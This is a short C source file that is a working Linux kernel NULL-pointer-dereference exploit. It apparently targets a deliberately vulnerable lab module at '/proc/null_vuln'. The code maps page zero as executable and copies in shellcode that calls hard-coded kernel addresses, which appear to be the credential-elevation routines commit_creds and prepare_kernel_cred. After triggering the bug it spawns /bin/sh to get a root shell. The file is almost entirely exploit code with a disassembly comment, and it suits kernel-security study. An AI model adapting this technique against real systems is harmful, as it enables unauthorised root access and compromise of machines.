#include<stdio.h> 
#include<sys/mman.h> //mmap()
#include<fcntl.h> //open()
#include<string.h> //memcpy()
#include<stdlib.h> //system()


int main() {
	mmap(0x00,0x1000,PROT_READ | PROT_WRITE | PROT_EXEC , MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1 , 0);
	char payload[]="\x49\xC7\xC2\x10\xF8\x07\x81\x48\x31\xFF\x41\xFF\xD2\x48\x89\xC7\x49\xC7\xC1\xE0\xF4\x07\x81\x41\xFF\xD1\xC3"; //e9eabead0b
	/*      0:  49 c7 c2 10 f8 07 81    mov    r10,0xffffffff8107f810
		7:  48 31 ff                xor    rdi,rdi
		a:  41 ff d2                call   r10
		d:  48 89 c7                mov    rdi,rax
		10: 49 c7 c1 e0 f4 07 81    mov    r9,0xffffffff8107f4e0
		17: 41 ff d1                call   r9
		1a: c3                      ret
	*/
	//char payload[]="\xe9\xea\xbe\xad\x0b"; //e9eabead0b
	memcpy(0x00,payload,sizeof(payload));
	int fd = open("/proc/null_vuln",O_RDONLY);

	system("/bin/sh");
	
	return 0;
}
